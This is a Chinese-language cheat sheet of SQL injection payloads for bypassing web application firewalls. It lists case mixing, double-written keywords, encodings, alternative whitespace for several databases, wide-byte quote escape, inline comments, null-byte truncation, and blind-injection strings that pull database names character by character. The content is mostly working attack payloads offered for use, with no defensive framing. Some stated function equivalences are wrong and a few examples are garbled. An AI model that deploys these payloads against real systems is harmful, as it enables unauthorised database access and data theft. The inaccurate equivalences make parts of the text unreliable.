0x01:过滤一些关键字(全大写和全小写)

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

  • 大小写 SELeCt
  • 双写绕过 selectselect


0x02:编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
举列:union select 1,2,3# =union%0aselect 1\u002c2,3%23

0x03:双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举列:UNIunionON ,SELselectECT anandd

0x04:换行绕过(\N或者 %0A)

举列:select * from admin where username = \N union select 1,user() from admin

0x05:等价函数绕过

Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
and 等价于 &&
or 等价于 ||
xor=|
not=!

0x06:空格绕过:

方法一:

数据库类型 允许的空白符
SQLite3 0A,0D,0C,09,20
MySQL5 09,0A,0B,0C,0D,A0,20
PosgresSQL 0A,0D,0C,09,20
Oracle 11g 00,0A,0D,0C,09,20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

正常payload:

  1. ?id=1'and sleep(3) and '1'='1

空格被过滤,注入语句未成功插入。
绕过payload:

  1. ?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1

使用尽量需要使用空格的执行语句,比如报错注入。利用||代替or利用&&代替and

方法二:
如果空格被过滤,括号没有被过滤,可以用括号绕过。
 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

  1. ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

0x07:过滤单引号

宽字节绕过(就是利用%df%27代替单引号,%df和过滤带引号的代码会组合成一个中文字符,使单引号逃逸)

0x08:内联注释绕过

内联注释的原理就是,例如我们先联合查询中,可能前面需要order by来判断显示位数,这两个联合起来可能会被拦截,但单个的字符可能不会被拦截,可以通过反复测试那些内容单个输入是不会被过滤的,最后可以获取到内容。
/XXX/,#, — -,—+, ;
union selecte =/!union/ select
内联注释 /! Union123456Select/1,user() //数字范围1000-50540
内联注释可以结合一些特殊的符号进行绕过: %0A或者!@#等等很多

0x09:00截断绕过

部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。
比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

0x10:mysql数据库的特性

select{x username}from {x11 test.admin};
select(x table_name)from (x information_schema.tables);

select from users where id=8E0union select 1,2,3,4,5,6,7#
select from users where id=8.0union select 1,2,3,4,5,6,7#

0x11: 特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多

先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
1.使用反引号,例如selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

0x12: = 号绕过

使用like 、rlike 、regexp 或者 使用< 或者 >

0x13: 绕过注释符号(#,—(后面跟一个空格))过滤:#

id=1’ union select 1,2,3||’1

0x14:比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:

between a and b:
between 1 and 1; 等价于 =1

0x15: 逗号绕过(使用from或者offset)

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

  1. select substr(database() from 1 for 1);
  2. select mid(database() from 1 for 1);
  3. 使用join
  4. union select 1,2 #等价于
  5. union select * from (select 1)a join (select 2)b
  6. 使用like
  7. select ascii(mid(user(),1,1))=80 #等价于
  8. select user() like 'r%'
  9. 对于limit可以使用offset来绕过:
  10. select * from news limit 0,1
  11. # 等价于下面这条SQL语句
  12. select * from news limit 1 offset 0